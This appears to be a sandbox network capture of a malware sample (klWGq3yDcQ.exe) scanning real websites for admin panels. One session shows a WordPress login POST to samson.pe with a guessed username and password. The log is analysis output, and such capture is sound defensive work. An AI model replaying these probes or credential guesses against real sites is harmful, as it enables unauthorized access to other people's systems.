2023-11-26 05:59:46 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:46 UTC	8192	IN	Data Raw: 31 66 66 38 0d 0a 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 6a 71 75 65 72 79 2f 75 69 2f 6d 6f 75 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 31 2e 31 31 2e 34 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 6a 71 75 65 72 79 2f 75 69 2f 64 72 61 67 67 61 62 6c 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 31 2e 31 31 2e 34 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 Data Ascii: 1ff8' src='https://talentius.com/wp-includes/js/jquery/ui/mouse.min.js?ver=1.11.4'></script><script type='text/javascript' src='https://talentius.com/wp-includes/js/jquery/ui/draggable.min.js?ver=1.11.4'></script><script type='text/javascript' src='ht
2023-11-26 05:59:46 UTC	6	IN	Data Raw: 31 66 66 38 0d 0a Data Ascii: 1ff8
2023-11-26 05:59:46 UTC	8184	IN	Data Raw: 2d 32 39 34 22 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 20 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 75 73 74 6f 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 63 75 73 74 6f 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 32 39 34 22 3e 3c 61 20 63 6c 61 73 73 3d 22 70 61 67 65 2d 73 63 72 6f 6c 6c 22 20 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 6f 72 6d 61 63 69 6f 6e 2e 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 22 3e 41 43 43 45 53 4f 20 55 53 55 41 52 49 4f 3c 2f 61 3e 3c 2f 6c 69 3e 3c 2f 75 6c 3e 09 09 09 09 09 3c 64 69 76 3e 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 61 76 69 73 6f 2d 6c 65 67 61 6c 2f Data Ascii: -294" class="dropdown menu-item menu-item-type-custom menu-item-object-custom menu-item-294"><a class="page-scroll" target="_blank" href="http://formacion.talentius.com/">ACCESO USUARIO</a></li></ul><div><p><a href="http://talentius.com/aviso-legal/
2023-11-26 05:59:46 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:46 UTC	992	IN	Data Raw: 33 64 34 0d 0a 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 62 69 7a 6f 6e 65 2f 61 73 73 65 74 73 2f 6a 73 2f 6a 71 75 65 72 79 2e 70 61 72 61 6c 6c 61 78 2d 31 2e 31 2e 33 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 74 61 6c 65 6e 74 69 75 73 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 62 69 7a 6f 6e 65 2f 61 73 73 65 74 73 2f 6a 73 2f 6a 71 75 65 72 79 2e 66 61 6e 63 79 62 6f 78 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 Data Ascii: 3d4pt type='text/javascript' src='https://talentius.com/wp-content/themes/bizone/assets/js/jquery.parallax-1.1.3.js'></script><script type='text/javascript' src='https://talentius.com/wp-content/themes/bizone/assets/js/jquery.fancybox.js'></script><sc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
493	192.168.2.4	52460	199.34.228.177	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:46 UTC	1270	OUT	GET /pma HTTP/1.1 Host: gatewaytoearlylearning.com Accept: / Accept-Encoding: deflate, gzip Cookie: PublishedSiteSession=eyJpdiI6Ik5ObEFRd1R1Zi9HT0oxV2Ircm5UQ2c9PSIsInZhbHVlIjoicURnaEVheXRneW9LMExZd0ZVKzFSYkhteHBSSitDM05jMVF2ZWhOZGJ1TTBkNkFFdi9ZaTN0RVBRTU9GUFM2a0hibWNlYTltcDBJczk3cThMRklYbjBESVh1S1lYbEFIbDAzeS9mbmpzRURJbnAzM3RsdWJsM2tRQUMvQ1ExL3giLCJtYWMiOiI3ZDdiZTY1OTI1YTQ0M2YyMzE2NjE4MTdjNTcyOGY4ZDdkNzNiYzgwNTJmMjA0MWI3Mjc5NjIyMjYzN2M3MmZiIiwidGFnIjoiIn0%3D; publishedsite-xsrf=eyJpdiI6Im5SMUR5aGVYRzk5eVNWOVlBMjdGT2c9PSIsInZhbHVlIjoialJJbk1nRlhJdHVqUlovcjZvNHlVaTlWMWFMTUd2RG5TVFVCekxiU25vcjBGTSt5UWNlRDRiT1BuNWR1WVg0OG5RSVhrblVqcmI0SGpsRjhBNnFtR3NZODdNVEx4RUFxaHgyaFhyUjRXTzhuQ1hsbTNleU1PcUkwUXhQWExZazkiLCJtYWMiOiIyMmJkMjM0YTE0OWMxOWZjYWU0MGE1NTc4OTE1NzNkNGEzNzRhNTY4YjVlMmE5OTNkMTAyYjQ4ZWU2ZWE5NDdkIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6IlJrY2ZQV0RLNEsvZ3BJNUk0VFF1dkE9PSIsInZhbHVlIjoibFFjeElYVkxjYWFLc0UwczNUSUZFeEtvNm5OSmN1M0lpQ2doUHJFUzBqVnRpWUZsWEk1aE92YTVGVmVINUpFWWN4YjM5M29WSHFLb29SNlMvUWFsU09FaFR5blJOV0VVMHYrL3JaTGF6bVY1KzdFeGxxa1dxQUZGUC9rNGF4UGQiLCJtYWMiOiIyOWRkODg5NWE1ZWZiODk5MjM0YjZkMTNkZGZhNjcxMGViOWQyMGVlOWM1OWQyZWY4YzA5YWQ2YjFmZjYzYWY2IiwidGFnIjoiIn0%3D User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:46 UTC	1128	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 36 20 47 4d 54 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 61 74 65 77 61 79 74 6f 65 61 72 6c 79 6c 65 61 72 6e 69 6e 67 2e 63 6f 6d 2f 70 6d 61 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 70 75 62 6c 69 73 68 65 64 73 69 74 65 Data Ascii: HTTP/1.1 301 Moved PermanentlyServer: nginxContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveDate: Sun, 26 Nov 2023 05:59:46 GMTLocation: https://www.gatewaytoearlylearning.com/pmaSet-Cookie: publishedsite
2023-11-26 05:59:46 UTC	608	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 50 75 62 6c 69 73 68 65 64 53 69 74 65 53 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 35 36 4e 47 4d 32 54 46 42 31 63 46 4d 76 4e 46 52 53 5a 44 67 35 61 56 52 4a 62 33 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 5a 7a 42 30 59 58 70 32 55 46 46 44 54 7a 68 72 64 48 59 34 5a 6c 56 53 54 30 68 49 54 6b 78 52 57 56 56 6f 63 56 49 31 4d 32 4e 54 56 6b 30 76 5a 57 56 61 51 6c 42 75 54 55 74 52 4d 6a 51 34 56 7a 56 74 56 56 49 78 52 53 39 49 56 55 51 35 55 48 4a 6f 55 54 6c 6f 59 55 68 73 56 55 35 46 61 33 6c 46 51 6c 41 34 62 57 4a 61 64 53 39 43 63 6d 39 76 64 44 42 51 56 7a 4e 52 5a 31 46 51 5a 6b 6f 72 54 45 55 32 52 58 4a 56 59 32 4e 6d 56 55 51 34 63 46 68 6d 4f 57 64 75 4e 56 41 72 54 56 6c 76 53 44 Data Ascii: Set-Cookie: PublishedSiteSession=eyJpdiI6Ik56NGM2TFB1cFMvNFRSZDg5aVRJb3c9PSIsInZhbHVlIjoiZzB0YXp2UFFDTzhrdHY4ZlVST0hITkxRWVVocVI1M2NTVk0vZWVaQlBuTUtRMjQ4VzVtVVIxRS9IVUQ5UHJoUTloYUhsVU5Fa3lFQlA4bWJadS9Ccm9vdDBQVzNRZ1FQZkorTEU2RXJVY2NmVUQ4cFhmOWduNVArTVlvSD
2023-11-26 05:59:46 UTC	426	IN	Data Raw: 31 39 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 61 74 65 77 61 79 74 6f 65 61 72 6c 79 6c 65 61 72 6e 69 6e 67 2e 63 6f 6d 2f 70 6d 61 27 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 61 74 65 77 61 79 74 6f 65 61 72 6c 79 6c 65 61 72 6e 69 6e 67 2e 63 6f 6d 2f 70 6d 61 3c 2f 74 69 74 6c 65 3e 0a 20 20 Data Ascii: 19e<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='https://www.gatewaytoearlylearning.com/pma'" /> <title>Redirecting to https://www.gatewaytoearlylearning.com/pma</title>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
494	192.168.2.4	52478	199.34.228.177	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:46 UTC	1272	OUT	GET /admin HTTP/1.1 Host: gatewaytoearlylearning.com Accept: / Accept-Encoding: deflate, gzip Cookie: PublishedSiteSession=eyJpdiI6Ii9jTlJlSTdIWDBqUjEwQkxxQ08weUE9PSIsInZhbHVlIjoiUExnZVdPTGtiWGxNS0xlOHc2YzFtQXNkaGp0bHUyb1I3K2FsNDR2UzJSSld0VGtPbGEybFZEMll6VHZRUFgzK0pTMldRczdXeWkxV20xd0VSRzlyaFliYWVWMFZWRUhVQ2Ixb1NwY3d3NTlyUk1ESHhFOTg1cmVxMHp5VE9QQW4iLCJtYWMiOiIwNjY5NDEyZmY4NTJjNmI4ZjA4ZGEwNjlkMjliZDBhNGJmMzdhYmMzMjcxZWVlNTJkODhmZTlhYTMxMjA4OTRkIiwidGFnIjoiIn0%3D; publishedsite-xsrf=eyJpdiI6IjlLZ3o3ZitXTkJMMTc1MHBUSTZrd0E9PSIsInZhbHVlIjoiTTN5QlA4M2RDQmFXR1F6WnV0MjVLRGUyTC82bzlvYnBRSlBuaXJMME96WnZrYjYxL1NRNm1TUFFoREFUOStoM0hRRTNkVGZqa2M5bW5QT21lbG50NmpZcS9kK2ZvWGpoRkhMRzZGekcwaU9kaEV5N29GaTNtQ2oyczZXbEZYaWciLCJtYWMiOiI0NTU5ZTk1NGViNDFjZTAwNWIzZGYyMzEwZjg2YmJlN2JjODZkMzcyNGU0ZGMwMGU1ZjAyMDE1ZDk5ODVmODlhIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6IkJqLzRuT0dNWE1NT1lhV3g3TzdmOHc9PSIsInZhbHVlIjoiVHJuQWlySXVLTURJWG5zd1JjcXFaQzMvQ2ZrRGVhMlZyK0hyL3RkYk9qbXFFaFZPejJmS3J1dDFaYmVIL0xYQTg2RWZxc0xBVitoRU56dHdyMnB3R0c3V29kTmkxdzZaZFkxVmdjdjhucHcyR1ZSY1hrSVA0NGdXSGYwT09QbmwiLCJtYWMiOiIzZDQ1MTNkMDg5OWE3OTQ3NmE3YmM5N2YwMGI3OTI1N2Q2YTM2YjcwZGEzNzJiMDIxMTNkMDg5NTM1NmVmNTU4IiwidGFnIjoiIn0%3D User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:46 UTC	1130	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 36 20 47 4d 54 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 61 74 65 77 61 79 74 6f 65 61 72 6c 79 6c 65 61 72 6e 69 6e 67 2e 63 6f 6d 2f 61 64 6d 69 6e 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 70 75 62 6c 69 73 68 65 64 73 69 Data Ascii: HTTP/1.1 301 Moved PermanentlyServer: nginxContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveDate: Sun, 26 Nov 2023 05:59:46 GMTLocation: https://www.gatewaytoearlylearning.com/adminSet-Cookie: publishedsi
2023-11-26 05:59:46 UTC	608	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 50 75 62 6c 69 73 68 65 64 53 69 74 65 53 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6a 4e 78 52 31 42 75 55 30 74 30 65 55 68 6d 51 31 4a 47 61 55 64 61 53 6d 63 35 54 6e 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 54 7a 64 56 53 55 68 33 59 6d 4e 51 53 45 78 57 64 45 70 46 57 6d 5a 5a 5a 55 74 6f 4b 32 39 58 55 33 42 69 56 31 51 34 55 6e 4e 49 57 55 70 49 52 58 51 30 61 56 49 76 4d 45 74 6d 55 6b 4a 79 52 57 34 31 54 47 46 71 59 6c 41 79 64 54 4e 73 56 48 64 78 4c 31 4d 76 59 6d 74 46 4c 30 6b 30 63 30 64 69 64 45 68 4f 62 79 73 77 61 47 6c 75 61 6c 64 71 4f 46 42 7a 65 6e 52 4d 56 45 35 76 53 55 64 4b 62 45 35 68 65 57 56 77 5a 47 46 32 64 45 78 7a 5a 6b 64 71 55 45 31 73 56 33 42 4f 64 46 49 33 55 48 Data Ascii: Set-Cookie: PublishedSiteSession=eyJpdiI6IjNxR1BuU0t0eUhmQ1JGaUdaSmc5Tnc9PSIsInZhbHVlIjoiTzdVSUh3YmNQSExWdEpFWmZZZUtoK29XU3BiV1Q4UnNIWUpIRXQ0aVIvMEtmUkJyRW41TGFqYlAydTNsVHdxL1MvYmtFL0k0c0didEhObyswaGlualdqOFBzenRMVE5vSUdKbE5heWVwZGF2dExzZkdqUE1sV3BOdFI3UH
2023-11-26 05:59:46 UTC	434	IN	Data Raw: 31 61 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 61 74 65 77 61 79 74 6f 65 61 72 6c 79 6c 65 61 72 6e 69 6e 67 2e 63 6f 6d 2f 61 64 6d 69 6e 27 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 61 74 65 77 61 79 74 6f 65 61 72 6c 79 6c 65 61 72 6e 69 6e 67 2e 63 6f 6d 2f 61 64 6d 69 6e 3c 2f 74 69 74 6c 65 Data Ascii: 1a6<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='https://www.gatewaytoearlylearning.com/admin'" /> <title>Redirecting to https://www.gatewaytoearlylearning.com/admin</title

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
495	192.168.2.4	52573	66.235.200.147	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:46 UTC	262	OUT	GET /wp-admin/ HTTP/1.1 Host: tradeavenida.com Accept: / Accept-Encoding: deflate, gzip Cookie: _cfuvid=LvH4Xrnl0rVYyhoO4XsyXtrl76eVXmaMNVuqhXVgIEc-1700978385041-0-604800000 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:47 UTC	553	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 37 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 52 65 64 69 72 65 63 74 2d 42 79 3a 20 57 6f 72 Data Ascii: HTTP/1.1 302 FoundDate: Sun, 26 Nov 2023 05:59:47 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Redirect-By: Wor
2023-11-26 05:59:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
496	192.168.2.4	52780	172.96.186.206	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:46 UTC	330	OUT	POST /wp-login.php HTTP/1.1 Host: samson.pe Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP+Cookie+check User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://samson.pe/wp-login.php Content-Length: 137 Content-Type: application/x-www-form-urlencoded
2023-11-26 05:59:46 UTC	137	OUT	Data Raw: 6c 6f 67 3d 73 61 6d 73 6f 6e 26 70 77 64 3d 37 31 32 33 73 61 6d 73 6f 6e 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 49 6e 69 63 69 61 72 2b 73 65 73 69 25 43 33 25 42 33 6e 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 73 61 6d 73 6f 6e 2e 70 65 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=samson&pwd=7123samson&rememberme=forever&wp-submit=Iniciar+sesi%C3%B3n&redirect_to=https%3A%2F%2Fsamson.pe%2Fwp-admin%2F&testcookie=1
2023-11-26 05:59:47 UTC	555	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 78 2d 70 6f 77 65 72 65 64 2d 62 79 3a 20 50 48 50 2f 37 2e 32 2e 33 34 0d 0a 65 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 77 6f 72 64 70 72 65 73 73 5f 74 65 73 74 5f 63 6f 6f 6b 69 65 3d 57 50 2b 43 6f 6f 6b 69 65 2b 63 68 65 63 6b 3b 20 70 61 74 68 3d 2f 3b 20 73 Data Ascii: HTTP/1.1 200 OKConnection: closex-powered-by: PHP/7.2.34expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8set-cookie: wordpress_test_cookie=WP+Cookie+check; path=/; s
2023-11-26 05:59:47 UTC	813	IN	Data Raw: 32 34 32 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 50 45 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 49 6e 69 63 69 61 72 20 73 65 73 69 c3 b3 6e 20 26 6c 73 61 71 75 6f 3b 20 53 61 6d 73 6f 6e 20 43 6f 6e 74 72 6f 6c 73 20 50 65 72 c3 ba 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 3c 21 Data Ascii: 242e<!DOCTYPE html><html lang="es-PE"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Iniciar sesin &lsaquo; Samson Controls Per — WordPress</title><meta name='robots' content='noindex, follow' /><!
2023-11-26 05:59:47 UTC	8457	IN	Data Raw: 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6c 6f 67 69 6e 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 73 61 6d 73 6f 6e 2e 70 65 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 6c 6f 67 69 6e 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 34 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 65 6e 65 72 61 74 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 53 69 74 65 20 4b 69 74 20 62 79 20 47 6f 6f 67 6c 65 20 31 2e 31 31 34 2e 30 22 20 2f 3e 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 65 66 65 72 72 65 72 27 20 63 6f 6e 74 65 6e 74 3d 27 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 27 20 2f 3e 0a 09 09 Data Ascii: l='stylesheet' id='login-css' href='https://samson.pe/wp-admin/css/login.min.css?ver=6.4.1' type='text/css' media='all' /><meta name="generator" content="Site Kit by Google 1.114.0" /><meta name='referrer' content='strict-origin-when-cross-origin' />
2023-11-26 05:59:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
497	192.168.2.4	52952	23.185.0.1	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:46 UTC	165	OUT	GET /admin HTTP/1.1 Host: avient.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:46 UTC	618	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 76 69 65 6e 74 2e 63 6f 6d 2f 61 64 6d 69 6e 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 36 32 32 34 30 30 0d 0a 58 2d 50 61 6e 74 68 65 6f 6e 2d 53 74 79 78 2d 48 6f 73 74 6e 61 6d 65 3a 20 73 74 79 78 2d 66 65 31 2d 61 2d 37 63 39 63 34 34 36 63 Data Ascii: HTTP/1.1 301 Moved PermanentlyConnection: closeContent-Length: 0Content-Type: text/html; charset=UTF-8Location: https://www.avient.com/adminServer: nginxStrict-Transport-Security: max-age=31622400X-Pantheon-Styx-Hostname: styx-fe1-a-7c9c446c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
498	192.168.2.4	52954	162.210.96.117	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
